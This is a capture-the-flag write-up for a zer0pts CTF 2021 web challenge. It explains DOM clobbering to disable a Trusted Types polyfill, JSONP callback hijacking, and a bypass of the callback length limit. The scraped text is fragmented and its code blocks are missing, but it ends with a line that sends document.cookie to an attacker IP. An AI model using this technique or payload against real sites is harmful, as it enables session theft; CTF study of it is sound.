zer0pts CTF 2021
web
api.php
and renders the contents by JSONP. The length of the name of a callback function is up to 20 characters.index.php
.callback
.strict-dynamic
is enabled in CSP because of this JSONP.The first goal is to disable Trusted Types in order to use callback
parameter in JSONP.
As I said in the overview section, in the admin's environment, polyfill is used to enable Trusted Types since it is not implemented natively.
Looking through the code of polyfill, you might notice that if window.trustedTypes
is defined, polyfill will not define trustedTypes
.
This means that if somehow you make trustedTypes
a truthy value, you could disable Trusted Types in Firefox. But how can we do it without JavaScript? One way to do so is DOM Clobbering.
By DOM Clobbering as below, you can make trustedTypes
as a truthy value (HTMLElement
object).
However, this is not enough. You need to make trustedTypes.defaultPolicy
a truthy value too.
It is also able to do with DOM Clobbering. This time, you need to use another technique.
In Firefox, a payload as below will make trustedTypes
and defaultPolicy
truthy values. With this, you can completely disable Trusted Types in Firefox.
Next, you need to do is get RCE.
After setting Trusted Types, JSONP will be called as below. window.callback
is given as 2nd parameter, however, it is defined nowhere in the code. Thus, you can overwrite the value with DOM Clobbering again.
The callback
will be extracted to template string, so it will be converted to String
. The way to make the converted value an arbitrary string is, using a
element.
When you set href
attribute of a
element to abc:test
, the result of converting to String
is abc:test
as above.
Using this behavior, you can set callback
to arbitrary string. However, as you can see in api.php
, callback
should be <21 characters. How can we bypass the restriction?
One of the ways to bypass the restriction is, calling jsonp
function again. Since api.php
does not restrict you to use symbols, including '
, (
, and )
, you can also control 1st parameter, which is URL to be loaded as JavaScript code.
Finally, you can get RCE with a payload as below.
You can get the flag by changing (Base64 encoded script)
to location="http://(your IP address)?"+encodeURIComponent(document.cookie)
and reporting it.